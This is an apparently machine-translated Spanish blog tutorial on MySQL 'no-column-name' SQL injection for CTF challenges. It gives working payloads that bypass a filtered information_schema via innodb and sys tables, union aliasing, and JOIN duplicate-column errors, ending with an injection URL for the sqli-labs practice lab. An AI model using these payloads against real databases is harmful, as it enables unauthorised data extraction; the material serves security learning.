Explicación detallada del principio de inyección SQL sin inyección de nombre de columna

¿Por qué se necesita la inyección sin columnas?

Nuestro método de inyección SQL comúnmente utilizado se information_schemaimplementa a través de esta base de datos predeterminada, pero ¿alguna vez pensó que si la base de datos se filtra, no podemos usar esta biblioteca para encontrar los nombres de las tablas y las columnas? Sin embargo, podemos averiguar el nombre de la tabla de dos formas:

  1. motor innodb

    A partir de MYSQL5.5.8, InnoDB se convierte en su motor de almacenamiento predeterminado. En versiones superiores a MYSQL 5.6, inndb agrega dos tablas (innodb_index_stats e innodb_table_stats mysql.innodb_table_stats). Ambas tablas almacenan información sobre la base de datos y sus tablas de datos, pero no almacenan nombres de columnas. En versiones superiores de mysql, las estructuras de las tablas se registran en INNODB_TABLES e INNODB_COLUMNS.

  2. base de datos del sistema

    En MYSQL 5.7 y superior, se agrega la base de datos sys. Los datos básicos de esta base de datos provienen de information_schema y performance_chema, y ​​no almacena datos en sí. El nombre de la tabla se puede obtener mediante esquema_auto_increment_columns( sys.schema_auto_increment_columns).

Sin embargo, los dos métodos anteriores solo pueden encontrar el nombre de la tabla, pero no el nombre de la columna. En este caso, usaremos la inyección sin columnas. La inyección sin columnas, como su nombre indica, es una inyección que puede inyectar datos sin nombres de columnas.

Sin condiciones de uso de inyección de nombre de columna

La inyección sin nombres de columnas es adecuada principalmente para situaciones en las que se ha obtenido la tabla de datos pero las columnas no se pueden consultar. En la mayoría de las preguntas de CTF, la biblioteca information_schema se filtra y este método se utiliza para obtener nombres de columnas.

Principio de inyección sin nombre de columna

El principio de inyección sin columnas es realmente muy simple: la consulta conjunta crea datos virtuales. Puede verse como un alias de los nombres de las columnas que no conocemos y realizar una consulta de datos mientras tomamos el alias, por lo que el número de campos de consulta debe ser el mismo. Si los campos que consultamos son más que las columnas en la tabla de datos, aparecerá Informar un error.

Demostración práctica:

Los datos en la tabla de usuarios de consulta normal sonselect * from user;

imagen-20230917145304914

Utilice una consulta conjunta para comprobar los datos de la tabla select 1,2,3 union select * from user;. Es obvio que se crean datos ficticios (valor de campo virtual 123 y tabla virtual) y el nombre de la columna en la tabla virtual pasa a ser 123.

imagen-20230917145419828

Si solo verificamos el valor del campo de una columna, podemos usar:
Para explicar, xxx es el nombre de la tabla virtual nombrada por usted mismo, que se puede personalizar. Esta instrucción SQL crea la tabla virtual xxx y las columnas virtuales 1, 2 y 3 en una consulta conjunta y consulta simultáneamente los datos en la segunda columna de la tabla virtual.

select `2` from (select 1,2,3 union select * from user)xxx;

imagen-20230917145701326

Verifique varias columnas al mismo tiempo

select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx;

imagen-20230917150452258

Sin embargo, a veces `también se filtrará. En este momento, tenemos que usar la operación alias (as) nuevamente y cambiar los nombres de las columnas, para que los nombres de las columnas no necesiten comillas invertidas al consultar los datos.

select 1 as a,2 as b,3 as c union select * from user;

imagen-20230917150229489

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

imagen-20230917150304333


Otro método es utilizar JOINla inyección sin nombres de columnas para establecer una conexión interna entre las dos tablas a través de JOIN. Es decir, agregar los nombres de las columnas de las dos tablas puede revelar los mismos nombres de columnas. Usamos esta característica que hace que lista emergente.

select * from (select * from user as a join user as b)xxx;

imagen-20230917152950066

Después de obtener el nombre de la primera columna id, la siguiente carga útil nos hará eco de los datos de la segunda columna.

select * from (select * from user as a join user as b using(id))xxx;

imagen-20230917153008543

Y así sucesivamente con el resto.

select * from (select * from user as a join user as b using(id,username))xxx;

imagen-20230917153055650

La carga útil real del primer nivel de sqli-labs:

?id=-1' union all select * from (select * from users as a join users as b)as c--+

Supongo que te gusta

Origin blog.csdn.net/Jayjay___/article/details/132956870
Recomendado
Clasificación